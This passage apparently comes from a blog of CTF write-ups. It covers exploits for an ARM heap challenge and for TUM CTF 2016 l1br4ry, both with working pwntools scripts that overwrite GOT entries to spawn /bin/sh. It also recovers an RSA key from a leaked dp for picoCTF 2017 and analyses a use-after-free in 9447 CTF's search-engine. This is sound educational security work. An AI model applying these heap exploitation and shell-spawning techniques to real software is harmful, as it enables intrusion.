    return _printf_chk(1, "\x1B[31;1mp00p:\x1B[0m cannot store data\n", v8, *(unsigned __int8 *)encoded_str);
  v10 = strlen(encoded_str);
  memcpy((void *)&v9[v10 + 1], &size__, 4u);
  v11 = storage_size;
  v12 = storage_size + 1;
  storage[storage_size] = v9;
  storage_size = v12;
  return _printf_chk(1, "\x1B[32;1mw00t:\x1B[0m %d bytes have been stored\n", v6, v11);
}

get retrieves the last thing we put into give (the last element of the storage array), base64 decodes it, and prints it out. It removes the pointer to the encoded string from the storage array, and puts both the decoded and encoded strings into the items array. Here’s the decompilation:

unsigned int get()
{
  unsigned __int8 *encoded_str; // r6@2
  size_t decoded_size; // r1@2
  _BYTE *decoded_str; // r0@2
  int v3; // r2@2
  _BYTE *decoded_str_; // r7@2
  int v6; // r3@5
  int new_storage_size; // r2@5
  int num_items_plus_1; // r12@5
  int v9; // [sp+0h] [bp-28h]@2
  int v10; // [sp+4h] [bp-24h]@1

  v10 = 0;
  if ( storage_size <= 0 )
    return _printf_chk(1, "\x1B[31;1mp00p:\x1B[0m storage empty\n", 0, storage_size);
  encoded_str = (unsigned __int8 *)storage[storage_size - 1];
  decoded_size = *(_DWORD *)&encoded_str[strlen((const char *)storage[storage_size - 1]) + 1];
  v9 = 0;
  decoded_str = base64_decode(encoded_str, decoded_size, &v9);
  decoded_str_ = decoded_str;
  if ( !*decoded_str )
    return _printf_chk(1, "\x1B[31;1mp00p:\x1B[0m decoding data\n", v3, 0);
  _printf_chk(1, "data: %s\n", (int)decoded_str, (unsigned __int8)*decoded_str);
  v6 = num_items;
  new_storage_size = storage_size - 1;
  num_items_plus_1 = num_items + 1;
  items[num_items] = encoded_str;
  items[num_items_plus_1] = decoded_str_;
  storage_size = new_storage_size;
  num_items = v6 + 2;
  storage[new_storage_size] = 0;
  return sleep(1u);
}

clear removes everything from the items array:

void clear()
{
  void *item; // r0@2
  int num_cleared; // r5@3
  int v2; // r3@5

  if ( num_items <= 0 )
  {
    _printf_chk(1, "\x1B[31;1mp00p:\x1B[0m nothing to clear\n", 0, 0);
  }
  else
  {
    item = (void *)items[num_items-- - 1];
    if ( item )
    {
      num_cleared = 0;
      do
      {
        free(item);
        v2 = num_items;
        ++num_cleared;
        items[num_items] = 0;
        item = (void *)items[--v2];
        num_items = v2;
      }
      while ( item );
    }
    else
    {
      num_cleared = 0;
    }
    _printf_chk(1, "\x1B[32;1mw00t:\x1B[0m cleared %d items\n", num_cleared, 0);
  }
}

Now let’s get into the bugs.

Bug 1: Heap overflow in `base64_encode()`

I found a heap overflow in the base64_encode() function, but I did not use this bug in my final exploit. I’ll still point it out here in case it could lead to a different solution. You can skip this section if you’re only interested in the final solution.

The base64_encode function allocates a buffer for the encoded string as follows: malloc((4 * size / 3 & 0xFF) + 4 * size / 3). This is a bizarre way to calculate the size, so it should raise a red flag. Also note that in the give function, we append a 4 byte integer to this buffer, so we need to make sure there’s enough room for that.

If size is 192, 4 * size / 3 will be 256, but 4 * size / 3 & 0xFF will be zero. This means we only allocate 4 * size / 3 bytes, or 256 bytes, when our input buffer is of size 192. Because we need to append a 4 byte integer after encoding, we actually need 261 bytes instead (don’t forget the null byte), so we have an overflow. However, I was not able to exploit this, as malloc(256) ended up allocating 264 bytes due to how it was implemented.

If we set size to 5, then we allocate (4 * 5 / 3 & 0xFF) + 4 * 5 / 3 = 6 + 6 = 12 bytes. However, we actually need 13 bytes. So the most significant byte of size would overwrite the least significant byte of the next heap chunks size. This bug may be exploitable, but I didn’t use it.

Bug 2: Arbitrary free in `clear()`

If you look at the implementation of clear, you’ll see that we don’t clear until the number of items is zero, we clear until the current item is a null pointer. This is obviously incorrect, and leads to num_items underflowing as we will be considering items before the start of our array. Let’s look at what comes directly before the items array:

.bss:0002C814 storage_size    % 4                     ; DATA XREF: give+4o
.bss:0002C814                                         ; give+Cr ...
.bss:0002C818 num_items       % 4                     ; DATA XREF: clear+Cr
.bss:0002C818                                         ; clear+30w ...
.bss:0002C81C ; char input[16]
.bss:0002C81C input           % 0x10                  ; DATA XREF: main_+68o
.bss:0002C81C                                         ; .text:off_108ACo ...
.bss:0002C82C ; _DWORD items[256]
.bss:0002C82C items           % 0x400                 ; DATA XREF: get+9Co
.bss:0002C82C                                         ; .text:off_110A0o ...
.bss:0002CC2C ; _DWORD storage[128]
.bss:0002CC2C storage         % 0x200                 ; DATA XREF: give+F4o
.bss:0002CC2C                                         ; .text:off_10FA8o ...

input is the buffer we enter in command to. The code that reads that input will accept any byte other than whitespace, and only up to 15 bytes. This means we can input any 8 characters, followed by 4 null bytes, followed by any pointer we want to free, as long as the most significant byte of that pointer is zero (because we only control 15 bytes, not 16). This allows us to free almost any address by entering in a string in that format, and then calling clear(). We will come back to this bug.

Bug 3: Sign mismatch bug in `read_size()` leading to allocating chunks of arbitrary sizes

We call read_size() in give() to read an integer from standard input, here are the relevant lines:

if ( scanf("%15[^ \t.\n]%*c", nptr) )
{
  result = strtol(nptr, 0, 10);
  v3 = result == 0;
  if ( result > 0x2000 )
    v3 = 1;
  if ( !v3 )
    break;
}

The code ensures that the integer is less than 0x2000. However, strtoul accepts negative integers as input and returns a signed integer, so we can input -1 here to bypass the check. In give(), this means we append 0xFFFFFFFF to our base64 encoded string before storing it. When we call get(), we call malloc() using this size.

What this means is that we can call malloc with whatever size we want. When you see this, you should be thinking about the House of Force.

Bug 4: No null termination in `base64_decode()` leads to heap/libc pointer leak

With the previous two bugs in mind, I had an idea of how to exploit this binary, but I wasn’t sure how to bypass ASLR. Since our base64 decoded string is the only user controlled string that is output to us, I quickly checked the base64_decode function. I didn’t bother to look at the decoding implementation closely, I simply looked for any place where we would be null terminating the string. I didn’t find any, so I quickly checked in GDB whether null termination was happening and it wasn’t.

When a glibc chunk is freed, the fd/bk pointers are updated to point the previous and next chunks in the free list. When a chunk is allocated with malloc, it is not zeroed out, so those pointers are still there. So if a chunk has the pointer 0xAABBCCDD, and base64_decode() decodes the string ‘A’ into that chunk, the chunk will now contain 0xAABBCC41 (note that the LSB is overwritten but everything else is untouched). Now when we call get(), this string is printed and we’ve leaked the three most significant bytes of a heap address, which allows us to calculate the heap base and bypass ASLR for heap addresses.

When a glibc smallbin chunk is freed, the first chunk in the free list always points to some glibc pointer. So we can repeat the same attack for a smallbin chunk to leak the libc address. This allows us to find the libc base address and thus bypass ASLR for libc addresses.

Exploitation

With the previous three bugs, it seems like house of force might be the correct approach, but we haven’t been able to overwrite the top chunk size. In order to do this, I used the arbitrary free to free a fake chunk right before the top chunk (we can do this only because we have a heap leak). While I could have easily put a fake chunk there myself, I saw that 0x00000100 was reliably on the heap right before the top chunk (and this is a valid heap chunk size), so I just used that address as my chunk address. Then, when base64_decode() allocated a chunk it would choose this fake chunk and overwrite the top chunk address with my decoded string. Using this I set the size of the top chunk to 0xFFFFFFFF.

With the top chunk size overwritten, the rest of the problem is standard house of force. I used the arbitrary allocation bug to allocate a chunk of size GOT_ADDRESS - TOP_OF_HEAP, which moved the top of the heap to the specified GOT address. The next time base64_decode allocates a chunk, it will be on top of the GOT, and our decoded string will overwrite the GOT. We use this to overwrite strcmp to the address of system (which we know because we have a libc leak). Finally, entering in ‘/bin/sh’ as a command executes system('/bin/sh') and gives us a shell from which we can run cat flag to get the flag.

Here is my final exploitaiton script. This was made a lot easier by the fact that pwntools has QEMU support.

#!/usr/bin/env python2

from pwn import *

context(arch='arm', os='linux', terminal='tmux splitw -h'.split())
# p = gdb.debug('./nightmare', sysroot='./', gdbscript='''
# c
# ''')
p = remote('3.81.191.176', 1223)

# `readelf -a libc-2.27.so | grep system`
system_offset = 0x391e4

def give(size, data):
    p.sendline('give')
    p.sendline(str(size))
    p.sendline(str(data))

def get():
    p.sendline('get')

def clear():
    p.sendline('clear')

def free_addr(addr):
    a = 'A'*8 + p32(0) + p32(addr)
    a = a[:-1] + '\n'
    p.sendline(a)
    clear()

def leak_heap_base():
    for i in range(2):
        give(4, 'A'*4)
        p.recvuntil('stored')
        get()
        p.recvuntil('data:')
    clear()
    give(1, 'B')
    p.recvuntil('stored')
    get()
    p.recvuntil('data:')
    p.recvuntil('B')
    leak = p.recvline()[:-1]

    heap_base = u32(('\x00' + leak).ljust(4, '\x00'))
    return heap_base

def leak_libc_base():
    for i in range(2):
        give(600, 'AA')
        p.recvuntil('stored')
        get()
        p.recvuntil('data:')

    clear()
    for i in range(2):
        give(1, 'B')
        p.recvuntil('stored')
        get()
        p.recvuntil('data:')
    p.recvuntil('B')
    leak = p.recvline()[:-1]

    leak_offset = 0x1507f8
    libc_base = u32(leak[3:]) - leak_offset
    return libc_base

def overflow_top_chunk():
    give(-1, 'A'*191) # newline makes this 192 bytes

def main():
    # Leak the libc_base
    libc_base = leak_libc_base()
    system_addr = libc_base + system_offset
    log.info('libc_base: 0x%x' % libc_base)
    log.info('system_addr: 0x%x' % system_addr)

    # Leak the heap base
    heap_base = leak_heap_base()
    log.info('heap_base: 0x%x' % heap_base)

    # Put something in the items array so we can call clear
    give(1, 1)
    get()

    # This will call clear and put a fake chunk overlapping the top chunk
    free_addr(0x2d3c8) # We can hardcode this because ASLR is disabled and the remote server heap base matches our heap base (only when running in GDB). If ASLR was enabled we could just do some math to calculate where this would shift to
    p.recvuntil('cleared')

    # Overwrite the top chunk size
    give(0x100-6, '\xff'*8)
    p.recvuntil('stored')
    get()
    p.recvuntil('data:')

    # Now do house of force
    distance = 0x2c794 - 0x2d3cc # We can hardcode this for the same reason as above
    give(distance, '')
    p.recvuntil('stored')
    get()
    p.recvuntil('data:')

    give(1000, p32(system_addr))
    p.recvuntil('stored')
    get()
    p.recvuntil('data:')

    p.interactive()

if __name__ == '__main__':
    main()

One interesting I noted after solving this was that ASLR was disabled on the remote host, and it almost exactly matched what I had locally (heap addressed matched in GDB, but not outside of GDB, and libc addresses were off by a few bits). If I hadn’t found the heap/libc leaks, it might have been possible to solve this problem with a bit of bruteforce instead. Also, instead of calculating the proper address to use in my code, I left in the hardcoded addresses (0x2d3c8 and 0x2d3cc). If ASLR was enabled, I would have simply added the right offsets the calculated heap_base instead.

picoCTF 2017 weirderRSA Writeup

2017-04-09T22:00:00-07:00

picoCTF 2017 was happening over the last two weeks, and while I didn’t have time to play it, a friend messaged me asking for help on one of the “master” level problems. The problem was a fun cryptography problem related to RSA, and I heard that some people ended up solving the problem using brute force, so I decided to writeup my solution which doesn’t require brute force. There’s nothing wrong with the brute force solution, and it probably would have solved the problem faster, but it’s good practice to be able to do it with just number theory.

Here was the problem description:

Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it?

A few hints were provided:

Is there some way to create a multiple of p given the values you have? Fermat’s Little Theorem may be helpful.

Here are the provided RSA parameters, as well as the encrypted message $c$:

e = 65537
n = 551504906448961847141690415172108060028728303241409233555695098354559944134593608349928135804830998592132110248539199471080424828431558863560289446722435352638365009233192053427739540819371609958014315243749107802424381558044339319969305152016580632977089138029197496120537936093909331580951370236220987003013
dp = 11830038111134559585647595089660079959437934096133759102294626765549623265660232459679672150751523484215314838435592395437758168739238085557609083462380613

c = 418572163495460705091994402313468259824845152046819051708475973278685439488218787721608798128772047429018094097494688211258770586158227367592079338748634678836934643602701977245535903228577069635940900201087759467891714571538138574420185845350371745237794514198783443249846917698316091319797744417823562800249

Note that instead of just $e$ and $n$ (where $n = p * q$) and $p$ and $q$ are large primes), $dp$ is provided. $dp$ is the standard name for $d \bmod (p - 1)$, which is used to speed up RSA calculations using the Chinese Remainder Theorm (CRT). The details of how RSA is done with CRT isn’t relevant here, the only fact we need is that $e * dp \equiv 1 \pmod{p - 1}$. We know this because we can rewrite $d \equiv dp \pmod{p - 1}$ as $d = dp + k(p - 1)$ for some integer $k$ and we know $e * d \equiv 1 \pmod{(p - 1)(q - 1)}$ by definition, thus

$$ \begin{equation} \begin{split} e * d &= e(dp + k(p - 1)) \\\ &= e * dp + e * k(p - 1) \\\ &\equiv 1 \pmod{(p - 1)(q - 1)} \\\ \end{split} \end{equation} $$

We can rewrite this as

$$e * dp + e * k(p - 1) = 1 + j(p - 1)(q - 1)$$

for some integer $j$. We can rearrange this to get $e * dp = 1 + (p - 1)(e * k + j(q - 1))$. Thus, $e * dp \equiv 1 \pmod{p - 1}$. We will come back to why this equation is important.

After reading the first hint about finding a multiple of $p$, I immediately knew how the end of the problem would look once I had that multiple. If we can find a multiple of $p$ such as $a * p$ for some positive integer $a > 1$ and $gcd(a, q) = 1$, then we can do $gcd(a * p, n) = gcd(a * p, p * q)$ to give us $p$ (because the only shared factor between $a * p$ and $p * q$ should be $p$). Once we have $p$, we can just do $n / p$ to find $q$ and completely factorize $n$. Given the factorization of $n$, we can calculate the decryption exponent $d$ and then decrypt $c$ by doing $c^d \bmod n$. So knowing that, I began looking at ways to create a multiple of $p$ using Fermat’s Little Theorem. Fermat’s Little Theorem is $a^{p - 1} \equiv 1 \pmod{p}$, and from here I immediately realized $a^{p - 1} - 1$ is a multiple of $p$. While I couldn’t come up with this exact equation, this general idea was how I came up with the solution.

Now, we can take the congruence from earlier, $e * dp \equiv 1 \pmod{p - 1}$, and rewrite it as $e * dp = 1 + k(p - 1)$ for some integer $k$. After looking at this, I saw a way we might be able to get a $(p - 1)$ into the exponent of an equation so that we could apply Fermat’s Little Theorem to it. If we raise some integer $a$ to $e * dp$, we would have

$$a^{e * dp} = a^{1 + k(p - 1)} = a^1 * a^{k(p - 1)} = a(a^k)^{p - 1}$$

If we take this value $\bmod p$, then we can apply Fermat’s Little Theorem to it: $a(a^k)^{p - 1} \equiv a \pmod{p}$. Since we started with $a^{e * dp}$ on the left hand side of our original congruence and we’re left with $a$ on the right hand side, we now know that $a^{e * dp} \equiv a \pmod{p}$. We can rewrite that as $a^{e * dp} - a \equiv 0 \pmod{p}$. The right hand side of this congruence is zero, which means the value on the left hand side is a multiple of $p$. Furthermore, all the values on the left hand side of the congruence are known, except for $a$, but since $a$ is any integer greater than one, we can choose anything we want, like two. Thus, $2^{e * dp} - 2$ is a multiple of $p$.

The only remaining problem here is if you plug $2^{e * dp}$ into Sage or any other library, it probably won’t be able to compute it because of how large the exponent is. Luckily, $2^{e * dp} \bmod n$ is also a multiple of $p$, and we can use that instead. To see why, we can take the congruence $a * p \equiv 0 \pmod{p}$ (for some integer $a$) and subtract $b * n$ (for some positive integer $b$) from the left side (which is the same as doing $\pmod n$), and we get

$$a * p - b * n = a * p - b(p * q) = p(a - b * q) \equiv 0 \pmod p$$

So taking our original expression $\bmod n$ preserves the factor of $p$ in the expression, so it’s still a multiple of p.

Thus, we can solve the problem in Sage as follows (note that the casts to ints are important in Sage):

sage: p = int(gcd(pow(2, e * dp, n) - 2, n)); p
21882732364928750538091629675163778162621616902577425071608324988253617272412493782388559800841168348434069674472295196720416514385081750301694228136439127L
sage: q = n / p; q
25202744211817605397350328299983891415826580931890036611534540754079335081397262505214808536988764318124618606869256238502481259725033526700937302921554819
sage: d = inverse_mod(e, (p - 1) * (q - 1)); d
34535852054054036966438766862479690531423485306052207066429233618369989635295667617805286621954413815434184971237695876059539855286069206342240686777680920609564888947098210601853114202918429853613788197596527012265264741745540817155411813474104528185518260915438910819103674793733905258024133003488830258529
sage: m = int(pow(c, d, n)); m
3670434958110785066911905751469631231338751225710158680692616521935747246580686931770254296884504612059517L
sage: hex(m)[2:-1].decode('hex')
'flag{wow_leaking_dp_breaks_rsa?_44704215209}'

And indeed, leaking $dp$ breaks RSA. Definitely a very fun problem.

TUM CTF 2016: l1br4ry Writeup

2016-10-01T22:16:53-07:00

This weekend was TUM CTF 2016, and while I didn’t have much time to play, I did want to solve at least one problem. I ended up choosing l1br4ry, a 300 point pwnable problem that had zero solves at the time. I really enjoyed working on the challenge, and I ended up being the third person to solve the problem, so I decided to do a writeup on it.

This is a heap exploit, so I highly recommend reading sploitfun’s glibc malloc article to understand the basics about how the glibc heap works. I’ll be using a 64-bit Ubuntu 14.04 VM, specifically the one here. You can get the binary here. This writeup will be fairly detailed, and I tend to cover not only how to solve the problem, but some approaches that didn’t work along the way. If you don’t care about any of that, you can find the full solution code here.

Reversing the binary

We first run file and checksec on the binary:

$ file ./l1br4ry
./l1br4ry: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=bf33c931483fc879e24933eae963d1a0cef99174, stripped

$ checksec ./l1br4ry
[*] '/vagrant/ctf/tumctf2016/library/l1br4ry'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

We have a 64-bit dynamically linked binary with canaries enabled.

The binary is a catalog for books. You can add books, edit them, and set a book as your favorite:

$ ./l1br4ry
Welcome to your personal Library


Main menu
---------------------------
---------------------------
a: add a new one
q: exit
> a
Title: AAAA
Rate the book on a scale from 0 to 10: 10
Short thoughts about the book: BBBB

Main menu
---------------------------
  0: AAAA
---------------------------
a: add a new one
q: exit
> 0

AAAA
Your score: 10
Your thoughts: BBBB
--------------------------------
Your choices:
f: make it your favorite
e: edit it
d: delete it
Any other key: get back to the main menu
> f

Main menu
---------------------------
  0: Your favorite: AAAA
  1: AAAA
---------------------------
a: add a new one
q: exit
>

Notice that the book selected as the favorite is stored at index zero, shifting everything else up. There’s some strange logic in the binary to do this, and I found that you could pass -1 in as an index to crash the binary, but this turned out to not be exploitable.

Another thing I noticed was that there was an implementation memmove. Usually custom implementations of things like this are good places to look for bugs, but I didn’t find anything.

The code to add a book looks like this:

array_size = 8 * num_books++;
book_array = (Book **)realloc(book_array, array_size);
book_slot = &book_array[num_books - 1];
new_book = (Book *)malloc(72uLL);
*book_slot = new_book;
add_book(new_book);

The array size is calculated as eight times the number of books. We then realloc enough space for the array, grab the last slot in the array, and add a new Book pointer in that slot. A Book struct looks like this:

struct Book
{
  char title[32];
  char description[32];
  __int64 rating;
};

The code to delete a book is also relevant:

custom_memmove((char *)&book_array[index - 1], (char *)&book_array[index], 8 * (num_books - index));
book_array = (Book **)realloc(book_array, 8 * --num_books);
free(book);

We first remove the Book pointer from the array, then we realloc a smaller chunk of memory, and finally we free the book. Notice how the code doesn’t do any checks to see if this is your favorite book. So what happens if we delete our favorite book?

$ ./l1br4ry
Welcome to your personal Library


Main menu
---------------------------
---------------------------
a: add a new one
q: exit
> a
Title: AAAA
Rate the book on a scale from 0 to 10: 10
Short thoughts about the book: BBBB

Main menu
---------------------------
  0: AAAA
---------------------------
a: add a new one
q: exit
> 0

AAAA
Your score: 10
Your thoughts: BBBB
--------------------------------
Your choices:
f: make it your favorite
e: edit it
d: delete it
Any other key: get back to the main menu
> f

Main menu
---------------------------
  0: Your favorite: AAAA
  1: AAAA
---------------------------
a: add a new one
q: exit
> 1

AAAA
Your score: 10
Your thoughts: BBBB
--------------------------------
Your choices:
f: make it your favorite
e: edit it
d: delete it
Any other key: get back to the main menu
> d

Main menu
---------------------------
  0: Your favorite:
---------------------------
a: add a new one
q: exit
>

It still tried to print the original favorite book, even though it’s deleted. Currently no text shows up, because the fwd pointer of the free chunk points to NULL, as it’s the last (and only) chunk on the free list. However, it should be clear from here that we can leak a heap address (the fwd pointer of a free chunk).

Remember how the program allowed us to edit any book? Well it even allows us to edit the favorite book, which means we can overwrite the fwd pointer to be whatever we want, adding a new chunk to the free list. We will use this to put an already allocated chunk on the free list. Then, we can allocate the book_array in the “fake” chunk we just added to the free list. Since we control the fake chunk, we control the memory where the book_array is allocated, and we control all the pointers in the book array. We can set one of them to point to the memory we want to write to, and then setting the title for that “book” will actually write to memory where we set the pointer to.

Why not just make the fake chunk point to a GOT address directly and overwrite a GOT address? Well, when a fastbin chunk is allocated, glibc checks to make sure the size of the chunk matches the index of the bin it’s getting the chunk from. Since we don’t control any data around any of the GOT addresses, we can’t create a chunk with the right size, and when we try to allocate that chunk we’ll fail an assertion.

Getting a heap leak

As mentioned above, we can leak a heap address by deleting the favorite book and then looking at the fwd pointer printed out in the book list. We need to make sure the favorite book is not the last book on the list. In order to do that, all we have to do is add two books, make book one the favorite, then free book two, and then free book one. Book one will then point to another chunk, and printing the book list will leak memory:

#!/usr/bin/env python2

from pwn import *

context(arch="amd64", os="linux")

p = process('./l1br4ry')
# gdb.attach(p, '''
# ''')

def add_book(title, description, rating):
    p.sendline('a')
    p.sendline(title)
    p.sendline(str(rating))
    p.sendline(description)

def favorite_book(index):
    p.sendline(str(index))
    p.sendline('f')

def delete_book(index):
    p.sendline(str(index))
    p.sendline('d')

def edit_title(index, title, description, rating):
    p.sendline(str(index))
    p.sendline('e')
    p.sendline(title)
    p.sendline(str(rating))
    p.sendline(description)

def main():
    add_book('0', '0', 10)
    add_book('1', '1', 10)

    favorite_book(0)
    delete_book(2)
    delete_book(1)

    p.recvuntil('Your favorite: ')
    p.recvuntil('Your favorite: ')
    p.recvuntil('Your favorite: ')
    heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
    log.info('heap_leak: %s' % hex(heap_leak))

The above code is a pwntools script with a few helper functions for interacting with the binary. Running the script will leak a heap address using the method described above.

Creating a fake chunk

Now let’s create a fake chunk and get the book_array allocated on our fake chunk. We’ll start out by making our book_array be 56 bytes. A book array of 64 bytes will be put in the same fastbin as our Book structs when freed (chunks of size 80/0x50), and we don’t want to pollute that fastbin.

# Allocate 7 books, setting the size of the books_array to 56
for i in range(7):
    add_book(str(i), str(i), 10)

delete_book(1)

The very first book we created in that loop will be allocated in the memory where the favorite chunk previously resided. We delete that book so that we still have control over the fastbin list, just like we did for the leak.

Before we add a fake chunk to the list, let’s make a valid one. We’ll put it inside of the second book.

# Create fake chunk by setting correct metadata size
edit_title(2, p64(0x51), 'AAAAAAAA', 10)

The important part here is that we put a 0x51 in memory. As long as that lines up with the size of the heap chunk, glibc won’t complain about it being the wrong size.

Now we make our fastbin list point this this fake chunk:

# Add a fake chunk to the fastbin list
edit_title(0, p64(heap_leak + 0x58), 'BBBBBBBB', 10)

It turned out that we wrote that 0x51 to heap_leak + 0x60. That means we need to say our fake chunk is at heap_leak + 0x58 in order for the size to be at the right spot.

When we allocate two more books, the size of book_array will increase to 64. Furthermore, the book_array that was just realloc’d will be in the fake chunk we created! It may be tricky to convince yourself why this happens, but I enourage you to step through this with gdb and pwndbg and use the bins command to see how the fastbins list changes.

add_book('junk', 'junk', 10)
add_book('junk2', 'junk2', 10)

It’s worth mentioning that I initially tried to do something like this just with using realloc, but the behavior of realloc is bizarre. Increasing the size of an array with realloc happens normally, but when decreasing the size it tends to skip one full fastbin size before it decides to realloc. Furthermore, it realloc’s to the same spot even when decreasing the size. I find this bizarre because splitting chunks normally doesn’t happen with a fastbin sized chunk. I’m by no means a heap expert though, so maybe this all makes sense. I’ll be digging into the malloc.c code when I get time to try and understand this. It might be fun to come up with a heap vuln based off of realloc behavior and design a CTF problem around it.

Getting a libc leak

Now that we control the book_array through book two, let’s try to print out a GOT address. We can try something like this:

strtoul_got_addr = 0x602070
edit_title(2, p64(strtoul_got_addr), '', 10)

But it if we run it, we’ll see that the program will print out the fake list and crash:

0: Your favorite: junk
1: (null)
2: (null)
3: (null)
4: 4
5: 5
6: 6
7: junk

From GDB:

Program received signal SIGSEGV (fault address 0xa)

You can also see that we didn’t leak any address, and books 1, 2, and 3 are NULL. Our first mistake was making the rating 10. printf will try to dereference 10 as a book pointer and fair. Fortunately for us, printf prints (null) when it sees a NULL pointer, so we just need to set the rating to 0.

Now the above code won’t cause the program to crash, but we still don’t get our leak. That’s because the 8 bytes we’re overwrite are the size bytes of our fake chunk, not the data part of the chunk. We can fix that with something like this:

edit_title(2, 'AAAAAAAA' + p64(strtoul_got_addr), '', 0)

But this leaves us with an invalid size. That’s actually fine for the rest of our exploit, but if we did want to allocate another book for some reason, realloc would attempt to reallocate on the same chunk of memory and fail because of the invalid size. To be safe, we’ll do this:

edit_title(2, p64(0x51), p64(strtoul_got_addr), 0)

Note that this wouldn’t have worked:

edit_title(2, p64(0x51) + p64(strtoul_got_addr), '', 0)

Because the code uses strncpy, and NULL bytes wouldn’t be accepted in the title.

Finally, we can leak our libc address:

p.recvuntil('Editing title: Q')
p.recvuntil('4: ')
libc_leak = u64(p.recvline().strip().ljust(8, '\x00'))
log.info('libc_leak: %s' % hex(libc_leak))

Getting a shell

Now that we’ve leaked a libc address, we can find the address of system:

strtoul_offset = 0x3d410
system_offset = 0x46590

libc_base = libc_leak - strtoul_offset
system_addr = libc_base + system_offset

log.info('libc_base: %s' % hex(libc_base))
log.info('system_addr: %s' % hex(system_addr))

Finally, we edit the address of strtoul to system:

edit_title(4, p64(system_addr), '', '/bin/sh')
p.interactive()

And you have a shell!

The code to edit a book first sets the title and then calls strtoul on the rating, which is why we passed the rating in as ‘/bin/sh’. This means strtoul('/bin/sh') is called after we rewrite the strtoul GOT address, which means we effectively call /bin/sh.

For the actual challenge, you needed to use a libc from Debian Jessie, which I found online. My full exploit can be found here.

Tips

One tip I wanted to point out is this pwntools code I didn’t really talk about:

gdb.attach(p, '''
''')

The code above will attach GDB to the process p. However you can put GDB commands in between the quotes:

gdb.attach(p, '''
# free book pointer
b *0x400EE2
'''

Note that I’ve even commented what the breakpoint is for. I usually have up to 10 different breakpoints in that list that I’m continously commenting in and out. I find this easier than creating a .gdbinit to do the same thing.

On the same note, you can even define variables in that array:

gdb.attach(p, '''
set $num_books = 0x6020C0
set $book_array = 0x6020B8
''')

Now in GDB you can do x $num_books or x/5xg *$book_array to examine these objects without remembering their addresses.

9447 CTF 2015: Search Engine Writeup

2016-09-21T21:36:36-07:00

I’ve been going through how2heap problems recently, and I really enjoyed solving search-engine from 9447 CTF 2015. This was a pretty complicated problem, but it was also a lot of fun so I’ll be sharing a writeup of my solution below. I’d highly recommend going over sploitfun’s glibc malloc article and the fastbin_dup_into_stack.c example from how2heap before going through this writeup.

I’ll be using a 64-bit Ubuntu 14.04 VM, specifically the one here. You can get the binary here

Reversing the binary

We first run file and checksec before jumping into reversing the binary:

$ file search-bf61fbb8fa7212c814b2607a81a84adf
search-bf61fbb8fa7212c814b2607a81a84adf: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped

$ checksec search-bf61fbb8fa7212c814b2607a81a84adf
[*] '/vagrant/ctf/9447-2015/search-engine/search-bf61fbb8fa7212c814b2607a81a84adf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled

So we’re working with a 64-bit, dynamically linked, stripped binary, which has NX and canaries enabled.

The binary is a program for indexing sentences and then searching for words in those sentences. Here’s some example output:

$ ./search-bf61fbb8fa7212c814b2607a81a84adf
1: Search with a word
2: Index a sentence
3: Quit
2
Enter the sentence size:
3
Enter the sentence:
a b
Added sentence
1: Search with a word
2: Index a sentence
3: Quit
1
Enter the word size:
1
Enter the word:
a
Found 3: a b
Delete this sentence (y/n)?
y
Deleted!

After entering a sentence, the binary takes each word and adds it to a linked list of words. A node in this linked list looks like this:

struct Word {
    char *word_ptr;
    int word_len;
    int unused_padding1;
    char *sentence;
    int sentence_size;
    int unused_padding2;
    struct Word *next;
};

Each word in the sentence has a word_ptr that points into the sentence pointer, which all words in a sentence share. When indexing a new sentence, the words are simply added to the front of the linked list, so it acts like a stack.

Searching for a word involves iterating over this linked list of words, ensuring the sentence string isn’t empty, and comparing the word to the target word. If we have a match, the sentence is printed and you have the option of deleting the sentence:

for ( i = words; i; i = i->next )
{
  if ( *i->sentence )
  {
    if ( i->word_len == size && !memcmp(i->word_ptr, needle, size) )
    {
      __printf_chk(1LL, "Found %d: ", i->sentence_size);
      fwrite(i->sentence, 1uLL, i->sentence_size, stdout);
      putchar('\n');
      puts("Delete this sentence (y/n)?");
      read_until_newline(&choice, 2, 1);
      if ( choice == 'y' )
      {
        memset(i->sentence, 0, i->sentence_size);
        free(i->sentence);
        puts("Deleted!");
      }
    }
  }
}

Note how the sentence is zeroed out before freeing it. This prevents the *i->sentence check from passing for any of the words in that sentence. However this is a standard use after free (UAF). Once you zero out and free some data, that data doesn’t go untouched. glibc keeps free chunks in a doubly linked list, and the forward and backwards pointers for this list in the same region of memory where the data for the chunk used to be stored. This means that those pointers can cause the *i->sentence check to pass even after the data was freed and zeroed out. This means we might be able to free the same sentence twice, causing a double free. This can lead to both memory leaks as well as allowing us to write to various locations in memory, as we’ll see later.

Another function worth mention is read_num, which is used to supply the length of any strings we need to enter:

int read_num()
{
  int result; // eax@1
  char *endptr; // [sp+8h] [bp-50h]@1
  char nptr[48]; // [sp+10h] [bp-48h]@1
  __int64 v3; // [sp+48h] [bp-10h]@1

  v3 = *MK_FP(__FS__, 40LL);
  read_until_newline(nptr, 48, 1);
  result = strtol(nptr, &endptr, 0);
  if ( endptr == nptr )
  {
    __printf_chk(1LL, "%s is not a valid number\n", nptr);
    result = read_num();
  }
  *MK_FP(__FS__, 40LL);
  return result;
}

The function reads up to 48 characters into a 48 byte buffer before attempting to convert the string to a number. read_until_newline is backed by the libc read function, and will read until either the number of characters specified is read or a newline is encountered. Note that it does not NULL-terminate the buffer. Since it does not NULL-terminate the string explicitly, any attempts to print the string will also print any data following the string until a NULL byte is run into. Lucky for us, the string is printed in the next few lines when the input begins with something that can’t be converted to a number by strtol. We will use this for a stack leak later in the exploit.

